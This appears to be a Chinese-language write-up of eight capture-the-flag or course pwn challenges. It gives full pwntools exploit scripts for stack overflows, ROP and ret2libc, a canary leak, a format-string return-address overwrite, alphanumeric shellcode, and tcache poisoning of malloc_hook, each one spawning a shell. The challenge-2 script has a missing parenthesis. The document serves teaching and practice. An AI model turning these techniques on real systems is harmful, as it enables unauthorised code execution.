1
简单的栈溢出覆盖变量
from pwn import*
from LibcSearcher import*
#连接远程
context.log_level = 'debug'
#p=remote("10.12.153.73:10084",28165)
p=process("/home/monke/vmcourse_pwn/1/pwn.bin")
p.sendlineafter("name:",b"123")
payload=cyclic(248)+p64(20150972)
p.sendlineafter("comment:",payload)
p.interactive()
2
ret2syscall
from pwn import*
context(arch="amd64", os="linux", log_level="debug")
# Load the ELF file and execute it as a new process.
p=remote("10.12.153.73",10298)
#p = process("/home/monke/vmcourse_pwn/2/pwn.bin")
offset=64+8
pop_rax =0x40117e
pop_rdi = 0x401180
pop_rdx =0x401183
pop_rsi_r15=0x401271
binsh = 0x404040
syscall=0x401185
payload = b'a'*offset
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(binsh)
payload += p64(pop_rsi_r15)+p64(0)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)
p.sendlineafter('syscall?\n',payload
p.interactive()
3(泄露canary)

由上图可以看出,的确开启了canary,canary的值是8字节的v2,与变量s相邻,第一个read可以读取48B赋值给s,也就存在栈溢出,s可以溢出覆盖到v2。
利用printf不遇到\x00不终止的特点,如果把v2(即canary)的最低字节\x00覆盖了,就能在打印s时候把v2打印出来,然后减去用来覆盖\x00的那一字节的值,就能得到v2原值,也就拿到了canary。在小端存储中,\x00这一字节是与s相邻的。
所以:
payload1=b'a'*40
p.sendlineafter('B!!!\n',payload1)
sendline会自动加上回车,也就是回车会覆盖掉\x00,回车\n的值是0xa。
p.recvuntil(b'a'*40)
canary=u64(p.recv(8))-0xa
这样就拿到了canary,接下来就是常规ROP了.
from pwn import*
context(arch="amd64", os="linux", log_level="debug")
# Load the ELF file and execute it as a new process.
#p=remote("10.12.153.73",10354)
p = process("/home/monke/vmcourse_pwn/3/pwn.bin")
elf=ELF("/home/monke/vmcourse_pwn/3/pwn.bin")
pop_rdi = 0x4011de
ret=0x40101a
binsh = 0x404058
system=0x4010b0
#gdb.attach(p)
#利用printf没读到\0不截断的特点,泄露canary
payload1=b'a'*40
p.sendlineafter('B!!!\n',payload1)
p.recvuntil(b'a'*40)
canary=u64(p.recv(8))-0xa
#print(hex(canary))
payload = cyclic(40)+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(0x40127e)
p.send(payload)
#gdb.attach(p)
p.interactive()
4
进来看一眼main函数感觉没啥漏洞

但是有两个后门函数

点进init初始化函数:

文心解读:

所以想办法触发浮点数异常就能跳到backdoor:
a = 2147483648 b = -1
或 : a =-2147483648 b = -1
都能触发,如图:

触发后进入backdoor函数,简单栈溢出到getshell后门函数就行:

这里还得注意下x64中16字节对齐的问题,溢出的88字节不够对齐16字节,所以还得来个ret补一下
payload=cyclic(88)+p64(ret)+p64(elf.sym[“getshell”])
完整exp:
from pwn import*
context(arch="amd64", os="linux", log_level="debug")
# Load the ELF file and execute it as a new process.
#p=remote()
p = process("/home/monke/vmcourse_pwn/4/pwn.bin")
elf=ELF("/home/monke/vmcourse_pwn/4/pwn.bin")
ret=0x400646
p.sendlineafter('key :',b"-2147483648")
p.sendlineafter('key :',b"-1")
payload=cyclic(88)+p64(ret)+p64(elf.sym["getshell"])
p.sendlineafter('Hero, please leave your name :\n',payload)
p.interactive()
5
常规的ret2libc
from pwn import*
p=remote("10.12.153.73",10302)
#p = process("/home/monke/vmcourse_pwn/5/pwn.bin")
elf=ELF("/home/monke/vmcourse_pwn/5/pwn.bin")
context(arch="amd64", os="linux", log_level="debug")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=elf.sym["main"]
pop_rdi=0x40117e
ret=0x40101a
payload=cyclic(64+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter('Go!!!',payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))
libc=ELF("/home/monke/vmcourse_pwn/5/libc.so.6")
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))
#libc=LibcSearcher("puts",puts)
#libcbase=puts-libc.dump('puts')
#system=libcbase+libc.dump('system')
#binsh=libcbase+libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
payload=cyclic(64+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendlineafter('Go!!!',payload)
p.interactive()
6 格式化字符串

情景是攻击一条龙,chendian可以加血,attack可以攻击,但是没打过就退出程序了,分析源码发现打赢了也无事发生:

关键函数是talk函数,有格式化字符串漏洞:

并且发现了后门:

本题没开启PIE,所以就很简单了,覆盖返回地址成后门函数地址就行。
断点打在printf,可以看到栈结构中有三个ret,从上到下分别是printf的ret,game的ret和main函数的ret,通常都是修改game的ret而不是printf的ret,避免在需要多次用到printf的情况下出现错误。

然后就是从栈中找到某个地方存的值可以间接利用,通过动调可以得到基础偏移为7,而基础偏移处存的值恰好就在栈上,直接%p就能得到:

那么这个值离game的ret有多远呢?动调如图:
两者相隔0x40,不管基址怎么变,这个值是固定的.

所以先%p泄露出间接地址,然后加0x40就能得到game函数的ret在栈上的地址。
然后对它进行修改,看一下IDA,可以发现这几个函数只有后面两字节有差别:

那就修改后两字节就行,而且本题没开PIE,直接用后门函数success的地址就行,0x08049317 ,后两字节是0x93和0x17,注意小端存储,所以game_ret_addr应该改为0x17,也就是23;game_ret_addr+1应该改为0x93,也就是147.
为了避免计算地址造成的偏移把地址放后面
所以
payload1=b'%23c%k$hhn'+p32(game_ret_addr)
payload2=b'%147c%k$hhn'+p32(game_ret_addr+1)
接下来算k应该是多少,四个字母是一个单位,假设k是1位数字,那么%23c%k$hhn就是10个字母,%147c%k$hhn就是11个,与4对齐就是12,偏移就是12/4=3,加上原来的偏移就是10,k是2位数字了,与原来的1位冲突。
那就假设k是两位数,两个对齐之后是12,12/4=3,k=7+3=10,刚好符合。%147c%10$hhn刚好12位不用补齐,%23c%10$hhn是11位,在后面加上一个字母补齐就行:
%23c%10$hhnA
也可以动调来看:
发现前者是空,右边却有值了,说明被占用了:

一直测到11发现没被占用:

那偏移就是11-1=10(因为%10$p占用了10)
所以
payload1=b'%23c%10$hhn'+p32(game_ret_addr)
payload2=b'%147c%10$hhn'+p32(game_ret_addr+1)
完整exp:
from pwn import*
context.log_level="debug"
p = remote("10.12.153.73",12028)
#p = process("/home/monke/vmcourse_pwn/6/pwn.elf")
#leak
payload=b"%p"
p.sendlineafter("choice: \n",b'3')
p.sendlineafter('talk: \n',payload)
p.recvuntil("said: \n")
addr=p.recv(10)
addr=int(addr,16)
game_ret_addr=addr+0x40
payload1=b'%23c%10$hhna'+p32(game_ret_addr)
payload2=b'%147c%10$hhn'+p32(game_ret_addr+1)
p.sendlineafter("choice: \n",b'3')
p.sendlineafter('talk: \n',payload1)
p.sendlineafter("choice: \n",b'3')
p.sendlineafter('talk: \n',payload2)
p.sendlineafter("choice: \n",b'4')
#gdb.attach(p)
p.interactive()

7(纯字符数字shellcode)

上图是main函数,单个读取输入并写入给v7,最后用mprotect给v7可执行权限并当作函数执行。所以写入shellcode即可,但是注意在读取单个字符时会进行检测:
if ( !isalnum(buf) )
break;
判断是否是字母数字,所以得写入纯字母数字shellcode,一般shellcode的形式都是/x73/x80/xff这样的,所以肯定不行。
这里用一个工具,ae64来生成纯字母数字shellcode:
下载好后在python脚本里面导入:
from ae64 import AE64
然后
payload= AE64().encode(asm(shellcraft.sh()))
即可生成
完整exp:
from pwn import*
from ae64 import AE64
context(arch="amd64", os="linux", log_level="debug")
p = process("/home/monke/vmcourse_pwn/7/pwn.bin")
payload= AE64().encode(asm(shellcraft.sh()))
p.sendlineafter('> ',payload)
p.interactive()
8(unsorted bin leak,利用UAF打tcache bin attack,劫持malloc_hook为one_gadget)
经典菜单题:

add函数,其中有两个指针数组
PTR_LIST[v1]指向malloc的堆块
SIZE_LIST[v1]存储了对应堆块的大小:

delete函数,存在UAF:

show函数,打印指定PTR[n]指针指向的chunk的内容:

edit函数,修改指定PTR[n]指针指向的chunk的内容,没有溢出:

审计了一圈只有一个UAF漏洞。没事足够了。
思路:
考虑到libc给的2.27版本,可以用unsorted bin来泄露libc基址,算出malloc_hook和one_gadget的真实地址,然后通过UAF来打tcache bin attack,劫持malloc_hook并修改成one_gadget,这下再次调用malloc函数时就能get shell
本地测试需要用patchelf来改一下源程序的libc库,不然libc库不对本地打不了https://blog.csdn.net/huzai9527/article/details/118558784
但是我在本地改失败了,改之后程序运行不了,那就只能硬着头皮继续做了。
1.unsorted bin 泄露基址
原理如下:

简单来说,当unsorted bin中只有一个chunk时,这个chunk的fd和bk指针都指向main_arena的某个偏移处,这个偏移按照通常经验来说是96,也可以调试证实一下(这里libc库错误暂时还没影响到):
添加一个大小1280B的chunk0和一个32B的chunk1(后面这个主要是防止在free chunk0时候它跟top chunk合并),然后把chunk0 free掉,此时它进入了unsorted bin,此时堆内存如下:

查看fd指针,发现指向main_arena+96处:

反复重启程序测试几遍,会发现虽然基地址一直变,但是这个偏移是不变的
所以这时候show chunk0,就会把fd指针打印出来,这个值减去96就能得到main_arena的真实地址,然后再动态调试找出main_arena的偏移,就能算出libc基址,也就能算出malloc_hook、free_hook和onegadget的真实地址,但是正如我前面所说,本题本地调试加载的是错误的libc库,所以动态调试行不通,如图所示:
按照往常经验,main_arena-0x10就是malloc_hook的地址,但是显然动态调试出来不是,这就是因为libc库加载错了

所以就只能把libc文件拖入IDA来静态调试找偏移
(参考https://blog.csdn.net/qq_33976344/article/details/119941461):
首先找到malloc_trim函数:

对比源码,找到main_arena地址:

可以看到,上图红框就是main_arena地址,点进去:
可以发现malloc_hook就在上方偏移0x10处

把我们泄露的地址(main_arena+96)记为main_arena_96,则
main_arena=main_arena_96-96
malloc_hook=main_arena-0x10=main_arena_96-96-0x10
libc基址也能算出来了,
libc_base = malloc_hook_addr – libc.sym[‘__malloc_hook’]
onegadget的地址也能算出来了,onegadget简单来说就是在libc库里面自带的可以getshell的片段,直接调用就能getshell,用one_gadget工具来找:
按照经验之谈,用最后一个最稳妥,不信可以试试(
所以onegadget=libc_base+0x10a2fc
此时我们已经拿到了malloc hook、onegadget的真实地址,
到这一步的exp:
add(0,0x410) #0
add(1,0x20) #1
delete(0)
show(0)
io.recvuntil(b'content: ')
main_arena_add96=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
print(hex(main_arena_add96))
main_arena = main_arena_add96 - 96
malloc_hook_addr = main_arena-0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget = libc_base + 0x10a2fc
success('one_gadget: '+hex(one_gadget))
接下来就是如何劫持malloc函数成onegadget了,由于只有一个UAF漏洞能用,考虑tcache bin attack
原理是,先把chunk1 free掉,由于UAF的存在可以把它的fd指针改成任意地址,此处改成malloc_hook地址,此时tcache bin的链表上有两个chunk,一个是free掉的chunk1,一个是malloc_hook,然后再申请两个chunk,记为chunk2和chunk3,大小一致的话,chunk2就会拿到chunk1的地址,chunk3就会拿到malloc_hook的地址,此时再edit chunk3,就能把malloc_hook的内容改成想要的onegadget,然后再调用malloc函数就能调用onegadget,拿到shell:
(需要注意的是,tcachebin 的fd指针指向下一个chunk的数据部分,而不是像fastbin一样指向chunk头:

)
这一步的exp:
delete(1)
edit(1,p64(malloc_hook_addr))
add(2,0x20)#2
add(3,0x20)#3
edit(3,p64(one_gadget))
#gdb.attach(io)
io.sendlineafter(b"choice >> ", b"1")
io.sendlineafter(b'index: ',b'10')
io.sendlineafter(b'size: ',b'10')
io.interactive()
完整exp:
from pwn import *
libc=ELF('/home/monke/vmcourse_pwn/8/libc-2.27.so')
context.log_level='info'
io=remote("10.12.153.73",10504)
#io=process('/home/monke/vmcourse_pwn/8/pwn.bin')
def add(index,size):
io.sendlineafter(b'Your choice >> ',b'1')
io.sendlineafter(b'index: ',str(index))
io.sendlineafter(b'size: ',str(size))
def delete(index):
io.sendlineafter(b'Your choice >> ',b'2')
io.sendlineafter(b'index: ',str(index))
def show(index):
io.sendlineafter(b'Your choice >> ',b'3')
io.sendlineafter(b'index: ',str(index))
def edit(index,content):
io.sendlineafter(b'Your choice >> ',b'4')
io.sendlineafter(b'index: ',str(index))
io.sendlineafter(b'content: ',content)
add(0,0x410) #0
add(1,0x20) #1
delete(0)
show(0)
io.recvuntil(b'content: ')
main_arena_add96=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
print(hex(main_arena_add96))
main_arena = main_arena_add96 - 96
malloc_hook_addr = main_arena-0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget = libc_base + 0x10a2fc
success('one_gadget: '+hex(one_gadget))
delete(1)
edit(1,p64(malloc_hook_addr))
add(2,0x20)#2
add(3,0x20)#3
edit(3,p64(one_gadget))
#gdb.attach(io)
io.sendlineafter(b"choice >> ", b"1")
io.sendlineafter(b'index: ',b'10')
io.sendlineafter(b'size: ',b'10')
io.interactive()

